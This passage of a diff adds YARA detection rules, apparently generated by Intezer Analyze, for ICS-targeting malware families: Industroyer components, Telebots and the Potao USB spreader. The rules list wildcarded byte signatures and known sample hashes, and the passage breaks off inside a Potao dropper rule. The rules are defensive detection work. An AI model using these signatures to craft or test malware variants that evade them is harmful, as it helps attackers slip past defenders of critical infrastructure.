+		12 of them
+}
+
+rule IndustroyerPayloadOPC {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 6A ?? 6A ?? FF 7? ?? C6 ?? ?? 5? 6A ?? 5? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 44 ?? EB }
+		$block_1 = { 5? 5? 6A ?? FF 7? ?? 33 ?? 5? 6A ?? 66 ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 44 ?? EB }
+		$block_2 = { 5? 5? 6A ?? 33 ?? 5? 5? 6A ?? 66 ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 44 ?? EB }
+		$block_3 = { 83 ?? ?? 89 ?? ?? 8D ?? ?? 0F 43 ?? ?? C6 ?? ?? 8B ?? ?? 8B ?? ?? EB }
+		$block_4 = { 8B ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8B ?? 6A ?? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 88 }
+		$block_6 = { 89 ?? ?? 0F B6 ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? 3B ?? ?? 73 }
+		$block_7 = { 0F 57 ?? 0F 11 ?? ?? ?? ?? ?? 0F 11 ?? ?? ?? ?? ?? 66 }
+		$block_8 = { 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_9 = { 0F B7 ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "156bd34d713d0c8419a5da040b3c2dd48c4c6b00d8a47698e412db16b1ffac0f" or
+		10 of them
+}
+
+rule IndustroyerBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 5? FF 7? ?? 5? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8D ?? ?? ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 8B ?? ?? 33 ?? 8B ?? ?? 5? 03 ?? 8B ?? 2B ?? 5? 33 ?? 3B ?? 0F 47 ?? 8B ?? ?? 85 ?? 74 }
+		$block_3 = { 89 ?? ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 9? 9? 3D ?? ?? ?? ?? 0F 84 }
+		$block_4 = { 83 ?? ?? 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 5? FF 7? ?? 33 ?? 4? 5? 5? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 33 ?? 5? 5? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_7 = { 83 ?? ?? 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 33 ?? 8B ?? ?? 5? 03 ?? 8B ?? 2B ?? 5? 33 ?? 3B ?? 0F 47 ?? 8B ?? ?? 85 ?? 74 }
+		$block_9 = { 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_10 = { 5? FF 1? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 9? 9? 9? 9? FF 7? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 5? 5? 8D ?? ?? 33 ?? 5? 8B ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 33 ?? 0F 94 ?? 89 ?? ?? 9? 9? 9? 9? 33 ?? E8 ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_13 = { 33 ?? 5? 5? E8 ?? ?? ?? ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_14 = { FF 1? ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 5? 6A ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_15 = { E8 ?? ?? ?? ?? FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 84 }
+		$block_17 = { 5? FF 1? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 3D ?? ?? ?? ?? 0F 84 }
+		$block_18 = { 5? FF 7? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 8D ?? ?? 5? 5? 6A ?? FF 7? ?? 5? FF 3? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 2B ?? ?? 03 ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_21 = { 89 ?? ?? 33 ?? FF 3? 4? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 82 }
+		$block_22 = { FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 5? 8D ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_24 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_25 = { E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_27 = { 33 ?? 21 ?? ?? 66 ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_28 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_29 = { FF 3? E8 ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_30 = { 5? E8 ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_31 = { 33 ?? 5? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 6A ?? 5? E8 ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_33 = { 8D ?? ?? 5? 5? FF 7? ?? 5? 3D ?? ?? ?? ?? 0F 84 }
+		$block_34 = { 8D ?? ?? 5? 5? 6A ?? 5? 81 F? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47" or
+		hash.sha256(0, filesize) == "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77" or
+		hash.sha256(0, filesize) == "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4" or
+		hash.sha256(0, filesize) == "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571" or
+		12 of them
+}
+
+rule IndustroyerPayloadIEC104 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 33 ?? 89 ?? 66 ?? ?? ?? 0F B6 ?? ?? 88 ?? 0F B6 ?? ?? 88 ?? ?? 0F B6 ?? ?? 83 ?? ?? 74 }
+		$block_1 = { B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 8D ?? ?? 8B ?? C1 ?? ?? 2B ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? FF 3? ?? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 80 7? ?? ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 5? 8B ?? ?? 8B ?? 0F B6 ?? 88 ?? ?? 0F B6 ?? ?? 88 ?? ?? 8A ?? ?? A8 ?? 74 }
+		$block_4 = { C6 ?? ?? ?? 0F B6 ?? ?? 0F BE ?? ?? D0 ?? 0F BE ?? C1 ?? ?? 03 ?? 89 ?? ?? 0F B6 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 33 ?? 2B ?? ?? ?? ?? ?? C1 ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 86 }
+		$block_7 = { 0F B6 ?? ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 }
+		$block_8 = { 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 8B ?? 0F 1F }
+		$block_9 = { FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 80 7? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad" or
+		10 of them
+}
+
+rule Telebots {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 03 ?? 5? 8B ?? ?? ?? ?? ?? 03 ?? 0F 84 }
+		$block_1 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 94 ?? 4? }
+		$block_2 = { 0F B7 ?? ?? 5? 0F AF ?? ?? FF 7? ?? 03 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B }
+		$block_3 = { 5? 5? 5? 6A ?? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_4 = { 8B ?? ?? 6A ?? 5? 8B ?? F3 ?? 8B ?? ?? 8D ?? ?? A5 66 ?? A4 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 }
+		$block_5 = { 80 3? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 0F B7 ?? 74 }
+		$block_6 = { 5? 5? 5? FF 7? ?? FF 7? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 6A ?? 5? 8B ?? F3 ?? 8B ?? ?? 8D ?? ?? 66 ?? A4 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 }
+		$block_8 = { 8B ?? ?? 05 ?? ?? ?? ?? 0F B7 ?? 89 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 75 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 0F B7 ?? B9 ?? ?? ?? ?? 66 ?? ?? 77 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? A3 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 0F B7 ?? B9 ?? ?? ?? ?? 66 ?? ?? 76 }
+		$block_12 = { 0F B7 ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8D ?? ?? 85 ?? 74 }
+		$block_13 = { 6A ?? 5? 8B ?? F3 ?? 0F B7 ?? 5? FF 7? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? EB }
+		$block_14 = { 0F B6 ?? ?? 99 8B ?? 03 ?? ?? ?? ?? ?? 13 ?? ?? ?? ?? ?? 89 ?? ?? 39 ?? ?? ?? ?? ?? 75 }
+		$block_15 = { FF 7? ?? ?? 8D ?? ?? ?? FF 7? ?? ?? 5? 5? FF 7? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 0F B7 ?? ?? 8B ?? ?? 01 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 75 }
+		$block_17 = { 33 ?? 39 ?? ?? 6A ?? 0F 95 ?? 4? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 74 }
+		$block_18 = { 6A ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 39 ?? ?? 0F 84 }
+		$block_19 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8D ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_21 = { 33 ?? 4? 66 ?? ?? ?? 6A ?? C6 ?? ?? 5? 66 ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 8B }
+		$block_22 = { 8D ?? ?? 5? 8B ?? ?? 6A ?? FF 7? ?? 03 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_24 = { 5? FF 7? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 9F ?? 8D ?? ?? EB }
+		$block_25 = { 0F B7 ?? ?? 83 ?? ?? ?? 5? 5? 0F B7 ?? ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_26 = { 8D ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 0F B7 ?? ?? 01 ?? ?? 81 4? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? 76 }
+		$block_28 = { 8B ?? ?? 83 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 8D ?? ?? 5? 8B ?? ?? 8B ?? ?? FF 3? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_30 = { 33 ?? 4? 6A ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 5? 5? FF 1? ?? ?? ?? ?? 5? FF 7? ?? 33 ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_33 = { 0F B7 ?? ?? 21 ?? ?? 21 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 }
+		$block_34 = { 5? 8B ?? 5? 5? 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_35 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { FF 7? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_37 = { FF 7? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_38 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_39 = { 8B ?? ?? 83 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_40 = { 80 3? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 74 }
+		$block_41 = { 5? FF 7? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_42 = { 8B ?? ?? 6A ?? 6A ?? 89 ?? FF D? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_44 = { 8D ?? ?? 66 ?? ?? 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 74 }
+		$block_45 = { 0F B7 ?? 0F B7 ?? 5? FF 7? ?? 2B ?? 03 ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_46 = { 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_47 = { 0F B7 ?? ?? 83 ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_48 = { 83 ?? ?? ?? 0F B7 ?? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_49 = { 6A ?? 5? 8B ?? F3 ?? 8B ?? 8D ?? ?? A5 A5 A5 A5 A4 8B ?? EB }
+		$block_50 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_51 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_52 = { 8D ?? ?? 66 ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_53 = { 5? 5? BE ?? ?? ?? ?? 8B ?? A5 A5 66 ?? 6A ?? A4 5? }
+		$block_54 = { 8D ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 75 }
+		$block_55 = { 0F B7 ?? 5? FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_56 = { FF 7? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 5? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_58 = { 8B ?? 8B ?? A5 A5 A5 83 ?? ?? 83 ?? ?? 4? A5 75 }
+		$block_59 = { 99 03 ?? ?? ?? ?? ?? 13 ?? 89 ?? ?? 89 ?? ?? EB }
+		$block_60 = { 0F B7 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_61 = { FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_62 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 0F B7 ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? 3B ?? 0F 83 }
+
+	condition:
+		hash.sha256(0, filesize) == "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745" or
+		12 of them
+}
+
+rule PotaoUSBSpreader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF D? 89 ?? ?? 6A ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? 5? C3 }
+		$block_1 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? 6A ?? 5? 88 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
+		$block_2 = { 81 E? ?? ?? ?? ?? 5? 5? 8B ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF D? A1 ?? ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? 5? 8B ?? ?? ?? 6A ?? 8B ?? 6A ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF D? 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? 5? 8B ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 8B ?? ?? ?? 8B ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? 83 ?? ?? 8D ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? FF D? 8B ?? ?? 8D ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_4 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF D? 8B ?? ?? 8D ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 5? 5? 89 ?? ?? ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 5? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_6 = { 83 ?? ?? 5? 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 5? FF D? 8B ?? ?? 6A ?? FF D? 8B ?? 8B ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? D3 ?? F6 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "7492e84a30e890ebe3ca5140ad547965cc8c43f0a02f66be153b038a73ee5314" or
+		hash.sha256(0, filesize) == "4688afcc161603bfa1c997b6d71b9618be96f9ff980e5486c451b1cc2c5076cb" or
+		hash.sha256(0, filesize) == "09c04206b57bb8582faffb37e4ebb6867a02492ffc08268bcbc717708d1a8919" or
+		hash.sha256(0, filesize) == "b8b02cc57e45bcf500b433806e6a4f8af7f0ac0c5fc9adfd11820eebf4eb5d79" or
+		hash.sha256(0, filesize) == "e3892d2d9f87ea848477529458d025898b24a6802eb4df13e96b0314334635d0" or
+		hash.sha256(0, filesize) == "95631685006ac92b7eb0755274e2a36a3c9058cf462dd46f9f4f66e8d67b9db2" or
+		hash.sha256(0, filesize) == "34e6fb074284e58ca80961feda4fe651d6d658077914a528a4a6efa91ecc749d" or
+		hash.sha256(0, filesize) == "461dd5a58ffcad9fffba9181e234f2e0149c8b8ba28c7ea53753c74fdfa0b0d5" or
+		hash.sha256(0, filesize) == "1acae7c11fb559b81df5fc6d0df0fe502e87f674ca9f4aefc2d7d8f828ba7f5c" or
+		hash.sha256(0, filesize) == "99a09ad92cc1a2564f3051057383cb6268893bc4a62903eabf3538c6bfb3aa9c" or
+		hash.sha256(0, filesize) == "7d15bd854c1dfef847cdd3caabdf4ab81f2410ee5c7f91d377cc72eb81135ff4" or
+		hash.sha256(0, filesize) == "12bb18fa9a12cb89dea3733b342940b80cd453886390079cb4c2ffcd664baeda" or
+		hash.sha256(0, filesize) == "340b09d661a6ac45af53c348a5c1846ad6323d34311e66454e46c1d38d53af8b" or
+		hash.sha256(0, filesize) == "3d78f52fa0c08d8bf3d42074bf76ee56aa233fb9a6bc76119998d085d94368ca" or
+		hash.sha256(0, filesize) == "f1d7e36af4c30bf3d680c87bbc4430de282d00323bf8ae9e17b04862af286736" or
+		hash.sha256(0, filesize) == "e57eb9f7fdf3f0e90b1755d947f1fe7bb65e67308f1f4a8c25bc2946512934b7" or
+		hash.sha256(0, filesize) == "339a5199e6d0b5f781b08b2ca0ad0495e75e52b8e2fd69e1d970388fbca7a0d6" or
+		hash.sha256(0, filesize) == "90b20b1687909c2f76f750ba3fd4b14731ce736c08c3a8608d28eae3f4cd68f3" or
+		hash.sha256(0, filesize) == "61862a55dcf8212ce9dd4a8f0c92447a6c7093681c592eb937a247e38c8109d4" or
+		hash.sha256(0, filesize) == "93accb71bf4e776955756c76990298decfebe4b1dd9fbf9d368e81dc1cb9532d" or
+		10 of them
+}
+
+rule PotaoDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
